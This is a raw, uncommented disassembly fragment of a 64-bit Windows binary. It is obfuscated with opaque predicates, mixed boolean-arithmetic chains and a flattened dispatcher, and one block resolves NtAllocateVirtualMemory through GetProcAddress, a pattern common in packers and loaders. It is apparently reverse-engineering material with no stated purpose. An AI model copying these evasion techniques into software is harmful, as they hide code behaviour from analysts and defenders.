lea ebx, [rcx - 1]
imul ebx, ecx
mov edx, ebx
not edx
mov ecx, edx
or ecx, 0x484dce8c
mov ebp, ebx
or ebp, 1
and ebp, 0x484dce8d
mov edi, edx
and edi, 0xb7b23172
or edi, ebp
and ecx, 0x484dce8d
xor ecx, edi
mov ebp, ecx
not ebp
mov edi, ebp
and edi, 0xfa9c835b
and ecx, 0x5637ca4
or ecx, edi
and ebx, 0xfa9c835b
and edx, 0x5637ca4
or edx, ebx
xor edx, ecx
xor ebp, edx
test ebp, edx
sete cl
setne dl
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
xor al, dl
mov edx, eax
xor dl, bl
and dl, al
mov eax, ebx
xor al, cl
not al
and al, cl
or bl, cl
xor bl, 1
mov ecx, eax
and cl, bl
xor bl, al
or bl, cl
mov eax, edx
xor al, 1
and al, bl
xor bl, 1
mov ecx, edx
xor cl, bl
and cl, dl
and bl, dl
or bl, al
mov eax, ecx
xor al, bl
test al, 1
mov eax, 0x50c3381
mov ebp, 0xa91f40ce
cmovne eax, ebp
test bl, bl
mov edx, eax
cmovne edx, ebp
test cl, cl
jmp 0x1400bd2f1
cmp ecx, 0x88115e22
je 0x1400bbe8e
cmp ecx, 0x8886e68c
jne 0x1400aed20
mov ecx, 0xa33c27a
cmp ecx, 0xe9ca7823
jg 0x1400aefa0
jmp 0x1400aed2c
cmp ecx, 0xc5a642f5
je 0x1400bbea4
cmp ecx, 0xc60c248c
jne 0x1400aed20
mov rcx, qword [rsp + 0x30]
lea rdx, str.NtAllocateVirtualMemory
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [0x140265730]
mov eax, dword [0x14026572c]
lea edx, [rcx - 1]
imul edx, ecx
mov ebp, edx
not ebp
or edx, 0x59de948f
mov ebx, edx
not ebx
or ebp, 0xa6216b70
mov ecx, ebp
not ecx
and edx, 0x33ffaf65
and ebx, 0x84004010
or ebx, edx
and ebp, 0x33ffaf65
and ecx, 0x4800108a
or ecx, ebp
xor ecx, ebx
mov edx, ecx
not edx
and edx, 0x59de948f
and ecx, 0xa6216b70
or ecx, edx
mov ebp, ecx
not ebp
mov edx, ebp
or edx, 1
mov ebx, edx
not ebx
and ebp, 0x650c69bd
and ecx, 0x9af39642
or ecx, ebp
mov ebp, ecx
xor ebp, 0xa921442
xor ecx, 0x650c69bc
mov edi, edx
and edi, 0x9165aabd
and ebx, 0x6e9a5542
or ebx, edi
or edx, ecx
and ecx, 0x9165aabd
and ebp, 0x6e9a5542
or ebp, ecx
xor ebp, ebx
not edx
or edx, ebp
mov ecx, edx
not ecx
and edx, 0x59a03457
and ecx, 0xa65fcba8
or ecx, edx
xor ecx, 0x59a03457
sete cl
setne r8b
cmp eax, 0xa
setl bl
cmp eax, 9
setg dl
mov eax, edx
or cl, dl
and dl, r8b
xor al, r8b
or al, dl
mov edx, eax
xor dl, 1
or bl, r8b
xor bl, 1
xor cl, 1
mov r8d, ebx
and r8b, cl
xor cl, bl
or cl, r8b
xor cl, 1
and dl, al
mov ebx, eax
and bl, dl
xor dl, al
or dl, bl
xor dl, cl
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
mov eax, ecx
xor al, dl
test cl, 1
mov ecx, 0xcafb7ac9
mov ebp, 0x7f8b22c5
cmovne ecx, ebp
test dl, 1
cmove ecx, ebp
test al, 1
mov eax, 0xcafb7ac9
jmp 0x1400bd5b0
cmp ecx, 0xef3716ab
je 0x1400bbeba
cmp ecx, 0xf0d3b833
jne 0x1400aed20
mov ecx, dword [0x140265730]
lea eax, [rcx - 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x897410
mov ebp, eax
and ebp, 0x56040883
or ebp, edx
xor ebp, 0x56040883
mov edx, eax
and edx, 0xa972836c
or edx, ebp
mov ebp, edx
not ebp
and ebp, 0xa972836d
and edx, 0x568d7c92
or edx, ebp
and ecx, 0x5b644492
and eax, 0xa49bbb6d
or eax, ecx
mov ecx, eax
xor ecx, 0xa49bbb6d
xor eax, 0x5b644492
and eax, edx
not edx
and ecx, edx
or eax, ecx
not eax
or eax, edx
cmp eax, 0xffffffff
setne al
cmp dword [0x14026572c], 9
setg cl
mov edx, ecx
xor dl, al
and cl, al
or cl, dl
xor cl, 1
xor dl, cl
mov eax, edx
not al
and al, cl
mov ebx, eax
xor bl, dl
test dl, dl
mov ecx, 0xafe04bb9
mov edx, 0x55f6eb13
cmovne ecx, edx
test al, al
mov eax, 0xafe04bb9
cmove ecx, eax
test bl, bl
jmp 0x1400bd1cf
cmp ecx, 0x408a973f
je 0x1400bbfc6
cmp ecx, 0x416c191a
jne 0x1400aed20
mov eax, dword [0x140265730]
lea ebx, [rax - 1]
imul ebx, eax
mov eax, ebx
not eax
mov ebp, eax
and ebp, 0x72cfb47d
mov edx, ebx
and edx, 0x8d304b82
or edx, ebp
mov ebp, edx
xor ebp, 0x84000082
xor edx, 0x7280a059
mov ecx, ebx
xor ecx, 0xf790a0db
and ecx, ebx
or edx, 0x86f5f24
mov edi, ecx
not edi
mov esi, edx
and esi, 0x41d8b449
and ebp, 0xb6000092
or ebp, esi
or edx, edi
and edi, 0x41d8b449
and ecx, 0xbe274bb6
or ecx, edi
xor ecx, ebp
not edx
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x2b7574df
and edx, 0xd48a8b20
or edx, ecx
mov ecx, edx
xor ecx, 0x221a0b6a
xor edx, 0xdce5d405
mov ebp, edx
and ebp, 0x45612094
and ecx, 0xba9edf6b
or ecx, ebp
and ebx, 0x45612094
and eax, 0xba9edf6b
or eax, ebx
xor eax, ecx
not eax
or eax, edx
cmp eax, 0xffffffff
sete r8b
setne dl
cmp dword [0x14026572c], 0xa
setl al
xor dl, al
mov r10d, eax
xor r10b, r8b
mov r9d, r10d
xor r9b, 1
xor dl, 1
and al, r8b
or al, r10b
xor al, 1
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov edx, eax
xor dl, 1
and al, dl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov edx, eax
xor dl, 1
mov ebx, r9d
and bl, r10b
and dl, al
xor r9b, bl
xor bl, 1
or bl, r10b
xor bl, 1
or bl, r9b
xor dl, 1
mov ecx, eax
xor cl, dl
or dl, al
xor dl, 1
or dl, cl
xor dl, bl
mov ecx, r10d
xor cl, al
or al, r10b
xor al, 1
or al, cl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0xde1149e7
mov ebp, 0x60779ddc
cmovne eax, ebp
test dl, 1
cmove eax, ebp
test cl, 1
mov ecx, 0xde1149e7
jmp 0x1400aed12
cmp ecx, 0xa24d4353
je 0x1400bc0ac
cmp ecx, 0xa2fce2a5
jne 0x1400aed20
mov ecx, dword [0x140265730]
mov eax, dword [0x14026572c]
lea edx, [rcx - 1]
imul edx, ecx
mov ebp, edx
not ebp
mov ebx, ebp
and ebx, 0xfffffffe
mov ecx, edx
and ecx, 1
or ecx, ebx
mov ebx, ecx
not ebx
and ebp, 0x4b167f55
and edx, 0xb4e980aa
or edx, ebp
mov ebp, edx
xor ebp, 0x14218020
xor edx, 0x4b167f55
mov edi, ecx
and edi, 0xe0da35ce
and ebx, 0x1f25ca31
or ebx, edi
or ecx, edx
and edx, 0xe0da35ce
and ebp, 0x1f25ca31
or ebp, edx
xor ebp, ebx
not ecx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x7cdf8fde
and ecx, 0x83207021
or ecx, edx
xor ecx, 0x83207021
sete r9b
setne cl
cmp eax, 0xa
setl r8b
cmp eax, 9
setg al
mov ebx, eax
and bl, cl
mov edx, eax
xor dl, cl
or dl, bl
xor al, r9b
not al
and al, r9b
xor cl, r8b
not cl
and cl, r8b
xor al, 1
xor cl, 1
mov ebx, eax
xor bl, cl
or cl, al
xor cl, 1
or cl, bl
xor cl, 1
mov eax, edx
or al, cl
xor cl, dl
mov edx, ecx
xor dl, al
test cl, 1
mov ecx, 0x91aa78db
mov ebp, 0x23eda655
cmovne ecx, ebp
test al, 1
mov eax, 0x91aa78db
jmp 0x1400bab13
cmp ecx, 0x1a7eacf3
je 0x1400bc18d
cmp ecx, 0x1bb89828
jne 0x1400aed20
mov ecx, dword [0x140265730]
mov eax, dword [0x14026572c]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
not ecx
mov ebp, ecx
and ebp, 0xfffffffe
mov edx, ebx
xor edx, 0xfffffffe
and edx, ebx
mov edi, ebp
and edi, edx
xor edx, ebp
or edx, edi
mov ebp, edx
not ebp
mov edi, ebp
and edi, 0xcd2cee46
and edx, 0x32d311b9
or edx, edi
and ebx, 0xcd2cee46
and ecx, 0x32d311b9
or ecx, ebx
xor ecx, edx
xor ebp, ecx
test ebp, ecx
setne r8b
sete bl
cmp eax, 0xa
setl cl
cmp eax, 9
setg al
or bl, al
or cl, r8b
mov edx, ebx
xor dl, cl
or cl, bl
xor cl, 1
or cl, dl
mov edx, eax
xor dl, r8b
or al, r8b
xor al, 1
or al, dl
xor al, 1
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov edx, eax
xor dl, 1
mov ebx, ecx
xor bl, al
and bl, cl
and al, cl
xor cl, 1
and cl, dl
or al, cl
mov ecx, ebx
xor cl, al
test cl, 1
mov ecx, 0xb7afb40c
mov edx, 0xdac8f158
jmp 0x1400b83cf
cmp ecx, 0x60779ddc
je 0x1400bc2d3
cmp ecx, 0x60b2fd6c
jne 0x1400aed20
mov ecx, 0x33c1e8ff
cmp ecx, 0xe9ca7823
jg 0x1400aefa0
jmp 0x1400aed2c
cmp ecx, 0xd9ebea90
je 0x1400bc2e9
cmp ecx, 0xda0144b8
jne 0x1400aed20
mov edx, dword [0x140265730]
mov ecx, dword [0x14026572c]
lea eax, [rdx - 1]
imul eax, edx
mov edx, eax
not edx
mov ebp, edx
and ebp, 0xfc3c6f65
and edx, eax
and eax, 0x3c3909a
or eax, ebp
xor eax, 0x3c3909a
mov ebp, eax
and ebp, edx
xor eax, edx
or eax, ebp
mov edx, eax
not edx
mov ebp, eax
and ebp, 0xfffffffe
and edx, 0x1aac53ba
and eax, 0xe553ac45
or eax, edx
xor eax, 0xe553ac44
mov edx, ebp
and edx, eax
xor eax, ebp
or eax, edx
mov edx, eax
not edx
and eax, 0x43090735
and edx, 0xbcf6f8ca
or edx, eax
xor edx, 0x43090735
sete r8b
cmp ecx, 9
setg al
cmp ecx, 0xa
setl cl
xor al, cl
and al, cl
xor al, 1
mov edx, r8d
and dl, al
or al, r8b
xor al, 1
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov ebx, ecx
or bl, r8b
xor cl, r8b
mov edx, ebx
xor dl, cl
xor cl, 1
xor dl, 1
or cl, bl
xor cl, 1
or cl, dl
mov ebx, ecx
xor bl, 1
mov edx, ebx
and dl, cl
xor bl, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, bl
mov ecx, edx
xor cl, 1
mov ebx, eax
xor bl, 1
and dl, bl
or bl, cl
and cl, al
or cl, dl
mov eax, ebx
xor al, cl
test al, 1
mov eax, 0xf7099f9f
mov edx, 0x5a0d84a2
cmovne eax, edx
test cl, 1
mov ecx, eax
mov edx, 0xf7099f9f
cmovne ecx, edx
test bl, 1
jmp 0x1400bbbaf
cmp ecx, 0x90a839df
je 0x1400bc4fc
cmp ecx, 0x915d24cd
jne 0x1400aed20
mov ecx, 0x6ad6a6b7
cmp ecx, 0xe9ca7823
jg 0x1400aefa0
jmp 0x1400aed2c
cmp ecx, 0xcd0d3086
je 0x1400bc603
cmp ecx, 0xcd198643
jne 0x1400aed20
mov edx, dword [0x140265730]
mov eax, dword [0x14026572c]
lea ebp, [rdx - 1]
imul ebp, edx
mov esi, ebp
not esi
mov edx, esi
and edx, 0x372c24e9
mov ecx, ebp
and ecx, 0xc8d3db16
or ecx, edx
mov edx, ecx
xor edx, 0x8424100
xor ecx, 0x10002400
mov edi, esi
or edi, 0x38c2778e
mov ebx, edi
not ebx
or ecx, 0x85288050
and ecx, 0x95a8b656
and edx, 0x28424188
or edx, ecx
and edi, 0x95a8b656
and ebx, 0x42150821
or ebx, edi
xor ebx, edx
mov ecx, ebx
not ecx
and ecx, 0x4ed20042
and ebx, 0xb12dffbd
or ebx, ecx
mov ecx, ebx
xor ecx, 0x9298010
xor ebx, 0x24102045
and ebx, 0xa4d62867
and ecx, 0x5b29d798
or ecx, ebx
xor ecx, 0x5b29d798
and esi, 0xdf2f5f48
and ebp, 0x20d0a0b7
or ebp, esi
xor ebp, 0x20d0a0b7
mov edx, ecx
and edx, ebp
xor ebp, ecx
or ebp, edx
mov ecx, ebp
not ecx
and ecx, 0xaaa33d80
and ebp, 0x555cc27f
or ebp, ecx
xor ebp, 0x555cc27f
setne cl
cmp eax, 0xa
setl dl
cmp eax, 9
setg al
mov ebx, eax
and bl, cl
xor al, cl
or al, bl
mov r8d, eax
xor r8b, 1
mov ebx, ecx
or bl, dl
xor bl, 1
xor cl, dl
not cl
and cl, dl
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
mov edx, ecx
xor dl, 1
and cl, al
or al, dl
and dl, r8b
or dl, cl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x990d5fad
mov ebp, 0xca5402ee
cmovne ecx, ebp
test dl, dl
mov edx, ecx
mov ebp, 0x990d5fad
cmovne edx, ebp
test al, 1
cmovne edx, ecx
jmp 0x1400bd2f4
cmp ecx, 0x1fb4774
je 0x1400bc759
cmp ecx, 0x22f6954
jne 0x1400aed20
mov ecx, 0x771227cd
cmp ecx, 0xe9ca7823
jg 0x1400aefa0
jmp 0x1400aed2c
cmp ecx, 0x4e267422
je 0x1400bc940
cmp ecx, 0x4f8fec5c
jne 0x1400aed20
mov ecx, 0x4a7da315
cmp ecx, 0xe9ca7823
jg 0x1400aefa0
jmp 0x1400aed2c
cmp ecx, 0xb6678a2a
je 0x1400bca57
cmp ecx, 0xb67ba815
jne 0x1400aed20
mov ecx, dword [0x140265730]
mov r8d, dword [0x14026572c]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0xe55995f2
and edx, 0x1aa66a0d
or edx, ecx
mov eax, edx
xor eax, 0xe55995f2
mov ebp, edx
xor ebp, 0x7fb39ec5
and ebp, eax
mov esi, eax
or esi, 0x6515f4c8
mov ebx, esi
not ebx
mov ecx, ebp
not ecx
mov edi, ecx
and edi, 0x4de6b516
and ebp, 0xb2194ae9
or ebp, edi
or ecx, esi
and esi, 0x4de6b516
and ebx, 0x92080a21
or ebx, esi
xor ebx, ebp
not ecx
or ecx, ebx
mov ebp, ecx
not ebp
and ebp, 0xa631749f
and ecx, 0x59ce8b60
or ecx, ebp
mov edi, ecx
xor edi, 0x34485ba9
and eax, 1
xor edx, 0xe55995f3
or edx, eax
mov eax, edx
not eax
and eax, 0x29f2eb2a
and edx, 0xd60d14d5
or edx, eax
mov eax, edx
xor eax, 0xd4081095
xor ecx, 0xc3248056
xor edx, 0x29f2eb2a
mov ebp, ecx
and ebp, 0xb97a440
and edi, 0xf4685bbf
or edi, ebp
or ecx, edx
and edx, 0xb97a440
and eax, 0xf4685bbf
or eax, edx
xor eax, edi
not ecx
or ecx, eax
mov edx, ecx
not edx
mov eax, edx
and eax, 0xb1e99a08
and edx, ecx
and ecx, 0x4e1665f7
or ecx, eax
mov eax, ecx
xor eax, 0x404a2
xor ecx, 0xb1e99a08
mov ebp, edx
not ebp
mov ebx, ecx
and ebx, 0x7eb3fb55
and eax, 0x814c04aa
or eax, ebx
or ecx, ebp
and ebp, 0x7eb3fb55
and edx, 0x814c04aa
or edx, ebp
xor edx, eax
not ecx
or ecx, edx
mov eax, ecx
not eax
and eax, 0x76eeab33
and ecx, 0x891154cc
or ecx, eax
mov eax, ecx
xor eax, 0x880044c0
xor ecx, 0x24a82b31
and ecx, 0x25b93b3d
and eax, 0xda46c4c2
or eax, ecx
xor eax, 0x25b93b3d
cmp eax, 0xffffffff
setne cl
cmp r8d, 0xa
setl r9b
cmp r8d, 9
setg r10b
mov ebx, r10d
and bl, cl
xor r10b, cl
or r10b, bl
mov r8d, r10d
xor r8b, 1
mov edx, ecx
or dl, r9b
xor dl, 1
xor cl, r9b
not cl
and cl, r9b
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, ecx
xor dl, 1
mov r9d, r8d
and r9b, r10b
mov eax, ecx
and al, dl
mov ebx, r9d
xor bl, 1
xor r9b, r8b
or bl, r10b
xor bl, 1
or bl, r9b
mov r8d, eax
and r8b, cl
xor al, cl
or al, r8b
xor al, bl
mov ecx, r10d
and cl, dl
xor dl, r10b
or dl, cl
mov ecx, edx
xor cl, al
test dl, 1
mov edx, 0x83edc152
mov ebp, 0xb5cbd131
cmovne edx, ebp
test al, 1
cmove edx, ebp
test cl, 1
mov eax, 0x83edc152
jmp 0x1400bd2f1
cmp ecx, 0x2c43e1f1
je 0x1400bcb76
cmp ecx, 0x2e7eb1c4
jne 0x1400aed20
mov edx, dword [0x140265730]
mov eax, dword [0x14026572c]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebp, ecx
not ebp
mov edx, ebp
and edx, ecx
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x99da3546
and ebp, 0x6625cab9
or ebp, edi
or ecx, ebx
and ebx, 0x99da3546
and edx, 0x6625cab9
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov ebp, ecx
not ebp
mov edx, ebp
or edx, 1
mov ebx, edx
not ebx
and ebp, 0x3bf561a7
and ecx, 0xc40a9e58
or ecx, ebp
mov ebp, ecx
xor ebp, 0x44020610
xor ecx, 0x3bf561a6
mov edi, edx
and edi, 0xa1b999cb
and ebx, 0x5e466634
or ebx, edi
or edx, ecx
and ecx, 0xa1b999cb
and ebp, 0x5e466634
or ebp, ecx
xor ebp, ebx
not edx
or edx, ebp
mov ebp, edx
not ebp
mov ebx, ebp
or ebx, 0x96fbe1b7
mov ecx, ebx
not ecx
or edx, 0x28000c48
and edx, 0xbe606cfb
and ebp, 0x9b8104
or ebp, edx
and ebx, 0xbe606cfb
and ecx, 0x41041200
or ecx, ebx
xor ecx, ebp
mov edx, ecx
not edx
and edx, 0xc6a86ab7
and ecx, 0x39579548
or ecx, edx
mov edx, ecx
xor edx, 0x8e8844ce
xor ecx, 0x50010100
and ecx, 0x71253131
and edx, 0x8edacece
or edx, ecx
mov ecx, edx
xor ecx, 0xa1804cc
xor edx, 0x30052001
and edx, 0xb4c7ea03
and ecx, 0x4b3815fc
or ecx, edx
mov edx, ecx
xor edx, 0xa0008802
xor ecx, 0x2101540
and ecx, 0x16d77741
and edx, 0xe92888be
or edx, ecx
xor edx, 0xe92888be
sete cl
setne r8b
cmp eax, 0xa
setl bl
cmp eax, 9
setg dl
mov eax, edx
or cl, dl
and dl, r8b
xor al, r8b
or al, dl
or bl, r8b
xor bl, 1
xor cl, 1
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
xor cl, 1
mov edx, eax
or dl, cl
xor cl, al
mov eax, edx
xor al, cl
test al, 1
mov eax, 0xde76f785
mov ebp, 0x67417b65
cmovne eax, ebp
test cl, 1
mov ecx, eax
mov ebp, 0xde76f785
jmp 0x1400bbba9
cmp ecx, 0x744021a3
je 0x1400bccaf
cmp ecx, 0x7505d6c5
jne 0x1400aed20
mov r8, qword [rsp + 0x38]
mov edx, dword [0x140265730]
mov ecx, dword [0x14026572c]
lea edi, [rdx - 1]
imul edi, edx
mov eax, edi
not eax
mov ebx, edi
xor ebx, 0x61caa3b1
and ebx, edi
mov edx, edi
or edx, 0x9e355c4e
mov ebp, edx
and ebp, 0xf1d2b99b
mov esi, eax
and esi, 0x80220
or esi, ebp
mov ebp, ebx
not ebp
or edx, ebp
and ebp, 0xf1d2b99b
and ebx, 0xe2d4664
or ebx, ebp
xor ebx, esi
not edx
or edx, ebx
mov ebp, edx
not ebp
and ebp, 0x5961fd90
and edx, 0xa69e026f
or edx, ebp
mov ebp, edx
xor ebp, 0x83142147
xor edx, 0x8a81420
and edx, 0x4ce894b8
and ebp, 0xb3176b47
or ebp, edx
mov edx, ebp
xor edx, 0x92162a06
xor ebp, 0x4ce894b8
mov ebx, ebp
and ebx, 0x6d0945f1
and edx, 0x92f6ba0e
or edx, ebx
or ebp, edi
and edi, 0x6d0945f1
and eax, 0x92f6ba0e
or eax, edi
xor eax, edx
not ebp
or ebp, eax
cmp ebp, 0xffffffff
sete dl
setne r9b
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg al
mov r10d, eax
or dl, al
and al, r9b
xor r10b, r9b
or r10b, al
or bl, r9b
xor bl, 1
xor dl, 1
mov eax, ebx
and al, dl
xor dl, bl
or dl, al
mov eax, edx
xor al, 1
and dl, al
xor dl, 1
mov ebx, edx
xor bl, al
or dl, al
xor dl, 1
or dl, bl
xor dl, r10b
mov ecx, r10d
and cl, al
xor al, r10b
or al, cl
mov ecx, edx
xor cl, al
test al, 1
mov eax, 0x6439845f
mov ebp, 0x276a97ff
cmovne eax, ebp
mov qword [0x140265058], r8
test dl, 1
cmovne eax, ebp
not cl
test cl, 1
mov ecx, 0x6439845f
jmp 0x1400aed12
cmp ecx, 0x8b63c395
je 0x1400bccc5
cmp ecx, 0x8b7b7daa
jne 0x1400aed20
mov edx, dword [0x140265730]
mov eax, dword [0x14026572c]
lea ebx, [rdx - 1]
imul ebx, edx
mov ebp, ebx
not ebp
mov edx, ebp
and edx, 0x5c55c0c4
mov ecx, ebx
and ecx, 0xa3aa3f3a
or ecx, edx
xor ecx, 0xa3aa3f3a
mov edx, ebx
xor edx, 0xfffffffe
and edx, ebx
mov edi, ecx
and edi, edx
xor edx, ecx
or edx, edi
mov ecx, edx
not ecx
and ecx, 0xb49316a5
and edx, 0x4b6ce95a
or edx, ecx
mov ecx, edx
xor ecx, 0x4b488808
xor edx, 0xb49316a5
mov edi, edx
and edi, 0x80b671f3
and ecx, 0x7f498e0c
or ecx, edi
or edx, ebx
and ebx, 0x80b671f3
and ebp, 0x7f498e0c
or ebp, ebx
xor ebp, ecx
not edx
or edx, ebp
cmp edx, 0xffffffff
sete dl
setne r8b
cmp eax, 0xa
setl bl
cmp eax, 9
setg cl
mov r10d, ecx
and dl, cl
and cl, r8b
xor r10b, r8b
or r10b, cl
mov r9d, r10d
xor r9b, 1
and bl, r8b
or dl, bl
mov ebx, edx
xor bl, 1
mov eax, r9d
and al, r10b
and dl, bl
mov ecx, eax
xor cl, 1
xor al, r9b
or cl, r10b
xor cl, 1
or cl, al
xor dl, 1
mov eax, edx
xor al, bl
or dl, bl
xor dl, 1
or dl, al
xor dl, cl
mov eax, r10d
and al, bl
xor bl, r10b
or bl, al
mov eax, ebx
xor al, dl
test al, 1
mov eax, 0x67657ac0
mov ecx, 0x53a911b1
cmovne eax, ecx
test bl, bl
mov ecx, 0x67657ac0
jmp 0x1400bd5aa
cmp ecx, 0xcafb7ac9
je 0x1400bce43
cmp ecx, 0xcb154f04
jne 0x1400aed20
mov ecx, 0x9b6aeb65
cmp ecx, 0xe9ca7823
jg 0x1400aefa0
jmp 0x1400aed2c
cmp ecx, 0xf866c4ef
je 0x1400bcf21
cmp ecx, 0xf8df045e
jne 0x1400aed20
mov ecx, 0xb8359344
cmp ecx, 0xe9ca7823
jg 0x1400aefa0
jmp 0x1400aed2c
cmp ecx, 0x4650bb91
je 0x1400bd007
cmp ecx, 0x46592ac0
jne 0x1400aed20
mov ecx, 0x8f6aed1b
cmp ecx, 0xe9ca7823
jg 0x1400aefa0
jmp 0x1400aed2c
cmp ecx, 0xaf64f1aa
je 0x1400bd0fb
cmp ecx, 0xafe04bb9
jne 0x1400aed20
mov ecx, dword [0x140265730]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ebx, ebp
not ebx
mov edx, ebx
and edx, 0x24afd80e
mov ecx, ebp
and ecx, 0xdb5027f0
or ecx, edx
mov edx, ecx
xor edx, 0x1a102620
xor ecx, 0x24afd80f
mov eax, ebp
xor eax, 0xfffffffe
and eax, ebp
mov edi, eax
not edi
mov esi, ecx
and esi, 0xe5c4c9d4
and edx, 0x1a3b362a
or edx, esi
or ecx, edi
and edi, 0xe5c4c9d4
and eax, 0x1a3b362b
or eax, edi
xor eax, edx
not ecx
or ecx, eax
mov eax, ecx
not eax
and eax, 0x7a291935
and ecx, 0x85d6e6ca
or ecx, eax
xor ecx, 0x85d6e6ca
and ebx, 0xa5e57e88
and ebp, 0x5a1a8177
or ebp, ebx
xor ebp, 0x5a1a8177
mov eax, ecx
and eax, ebp
xor ebp, ecx
or ebp, eax
cmp ebp, 0xffffffff
sete cl
setne dl
cmp dword [0x14026572c], 0xa
setl bl
xor dl, bl
xor dl, 1
mov eax, ebx
or al, cl
xor al, 1
or al, dl
mov r8d, eax
xor r8b, 1
xor bl, cl
mov r9d, ebx
xor r9b, 1
mov edx, eax
and dl, r8b
mov ecx, r9d
and cl, bl
xor al, dl
xor dl, 1
or dl, r8b
xor dl, 1
or dl, al
xor r9b, cl
xor cl, 1
or cl, bl
xor cl, 1
or cl, r9b
mov eax, edx
xor al, 1
and al, cl
xor cl, 1
and cl, dl
or cl, al
mov eax, r8d
xor al, bl
or bl, r8b
xor bl, 1
or bl, al
mov eax, ebx
xor al, cl
test al, 1
mov eax, 0xb67ba815
mov edx, 0xb5cbd131
cmovne eax, edx
test bl, 1
mov edx, 0xb67ba815
jmp 0x1400b6f36
cmp ecx, 0x23eda655
je 0x1400bd1e3
cmp ecx, 0x2430695f
jne 0x1400aed20
mov ecx, dword [0x140265730]
mov eax, dword [0x14026572c]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
not ecx
mov ebp, ecx
and ebp, 0xfffffffe
mov edx, ebx
and edx, 1
or edx, ebp
mov ebp, edx
not ebp
mov edi, ebp
and edi, 0x6beb1b1c
and edx, 0x9414e4e3
or edx, edi
and ebx, 0x6beb1b1c
and ecx, 0x9414e4e3
or ecx, ebx
xor ecx, edx
xor ebp, ecx
test ebp, ecx
setne r8b
sete r9b
cmp eax, 0xa
setl bl
cmp eax, 9
setg cl
mov edx, r9d
mov eax, ebx
xor bl, r9b
xor r9b, cl
mov r10d, r9d
xor r10b, 1
and dl, cl
and al, r8b
or al, dl
or cl, r8b
xor cl, 1
or cl, bl
mov edx, ecx
xor dl, al
xor al, 1
xor dl, 1
or al, cl
xor al, 1
or al, dl
xor al, 1
mov edx, r9d
and dl, r10b
mov ecx, r9d
and cl, dl
xor dl, r9b
or dl, cl
xor dl, al
mov ecx, r10d
xor cl, al
or al, r10b
xor al, 1
or al, cl
mov ecx, edx
xor cl, al
not cl
test cl, 1
mov ebp, 0xbe6468a0
mov ecx, 0xb35ae277
cmovne ebp, ecx
test al, 1
mov ecx, 0xbe6468a0
cmovne ecx, ebp
test dl, 1
jmp 0x1400bc098
cmp ecx, 0x682fcf32
je 0x1400bd307
cmp ecx, 0x6ad6a6b7
jne 0x1400aed20
mov edx, dword [0x140265730]
mov eax, dword [0x14026572c]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebp, ecx
not ebp
mov edx, ebp
and edx, 0x53092b22
mov ebx, ecx
and ebx, 0xacf6d4dc
or ebx, edx
mov edx, ebx
xor edx, 0xa046501c
xor ebx, 0x10080320
or ecx, 0x1cb887e0
and ebx, 0x1cb887e0
and edx, 0xe347781e
or edx, ebx
and ecx, 0x1cb887e1
xor ecx, edx
mov edx, ecx
not edx
and edx, 0x411bae0b
and ecx, 0xbee451f4
or ecx, edx
xor ecx, 0xbee451f4
mov edx, ecx
and edx, ebp
xor ecx, ebp
or ecx, edx
cmp ecx, 0xffffffff
sete cl
setne r8b
cmp eax, 0xa
setl r9b
cmp eax, 9
setg dl
mov eax, edx
or cl, dl
and dl, r8b
xor al, r8b
or al, dl
mov r10d, eax
xor r10b, 1
or r9b, r8b
mov ebx, ecx
xor bl, r9b
or cl, r9b
xor cl, 1
or cl, bl
mov edx, ecx
xor dl, 1
mov ebx, edx
and bl, cl
mov r8d, edx
xor r8b, bl
xor bl, 1
or bl, cl
xor bl, 1
or bl, r8b
and r10b, bl
xor bl, 1
and bl, al
or bl, r10b
mov ecx, eax
and cl, dl
xor dl, al
or dl, cl
mov eax, edx
xor al, bl
test al, 1
mov eax, 0x20d689b8
mov ecx, 0x915d24cd
cmovne eax, ecx
test dl, 1
mov ecx, 0x20d689b8
jmp 0x1400bae53
cmp ecx, 0xe01aa7cb
je 0x1400bd42f
cmp ecx, 0xe01c08f1
jne 0x1400aed20
mov ecx, dword [0x140265730]
mov r8d, dword [0x14026572c]
lea edx, [rcx - 1]
imul edx, ecx
mov ebp, edx
not ebp
mov ecx, ebp
and ecx, edx
mov ebx, ecx
not ebx
mov edi, edx
and edi, 0x8308b91d
and ebp, 0x7cf746e2
or ebp, edi
or edx, ebx
and ebx, 0x8308b91d
and ecx, 0x7cf746e2
or ecx, ebx
xor ecx, ebp
not edx
or edx, ecx
mov ebx, edx
mov ebp, edx
xor ebp, 0x2655f85f
and ebp, edx
not edx
and edx, 0x2a127441
and ebx, 0xd5ed8bbe
or ebx, edx
mov edi, ebx
xor edi, 0xd5ed8bbe
mov ecx, ebx
xor ecx, 0xc478c1e
and ecx, edi
mov edx, ecx
not edx
mov esi, ebp
not esi
mov eax, edx
and eax, 0x33b2aff9
and ecx, 0xcc4d5006
or ecx, eax
or edx, esi
and esi, 0x33b2aff9
and ebp, 0xcc4d5006
or ebp, esi
xor ebp, ecx
not edx
or edx, ebp
mov eax, edx
not eax
and eax, 0x20daf567
and edx, 0xdf250a98
or edx, eax
mov eax, edx
xor eax, 0xf910f0c6
and edi, 1
xor ebx, 0xd5ed8bbf
or ebx, edi
mov ecx, ebx
not ecx
xor edx, 0x68f0d39
mov ebp, edx
